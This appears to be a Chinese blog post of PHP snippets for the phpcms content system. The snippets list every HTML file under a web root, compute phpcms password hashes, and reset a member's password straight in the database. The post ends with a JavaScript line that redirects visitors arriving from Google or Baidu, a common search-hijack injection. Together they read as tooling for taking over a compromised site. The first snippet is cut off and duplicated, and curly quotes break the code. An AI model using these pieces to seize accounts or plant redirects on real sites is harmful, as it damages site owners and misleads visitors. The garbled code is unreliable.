phpcms.code

ls file name

<?php
$dir = '/var/www/html/';
function view_dir($directory)
{
$handle = opendir( $directory );
while ( $file = readdir($handle) )
{
$bdir = $directory . '/' .$file;
if ($file <?php
$dir = ‘/var/www/html/2009/2019/’;

function view_dir($directory)
{
    $handle = opendir( $directory );
    while ( $file = readdir($handle) )
    {
        $bdir = $directory . ‘/’ .$file;
        if ($file <> ‘.’ && $file <> ‘..’ && is_dir($bdir))
        {
            view_dir( $directory .’/’. $file);
        }
        else if( $file <> ‘.’ && $file <> ‘..’)
        {
            if(strstr(strtolower($directory.’/’.$file),”.html”)||strstr(strtolower($directory.’/’.$file),”.htm”)){
            echo $directory .’/’. $file . “<br>”;}
        }
    }
    closedir( $handle );
}
if(function_exists(‘file_get_contents’)){
view_dir($dir);}
?>

phpcms password_key

<?php
function password($password)
{
  return md5(PASSWORD_KEY.$password);
}
echo password(123456);
echo (“<br />上面是phpcms加密方式<br />下面是md5加密方式<br />”);
echo md5(123456);
?>

phpcms updata password

<?php

include ‘./include/common.inc.php’;

$password = ‘123456’;

$username = ‘phpcms’;

$password = md5(PASSWORD_KEY.$password);

$db->query(“UPDATE “.DB_PRE.”member SET password = ‘$password’ WHERE username = ‘$username’”);

$db->query(“UPDATE “.DB_PRE.”member_cache SET password = ‘$password’ WHERE username = ‘$username’”);

echo ‘ok’;

?>

<脚本>if((document.referrer.indexOf(“google”)>0)||(document.referrer.indexOf(“baidu”)>0))self.location=URL;</脚本>

没有评论:

发表评论

Follow Us

FOLLOW US

Blog Archive

Comments

Blogger 提供支持.

Search This Blog

Tags

header ads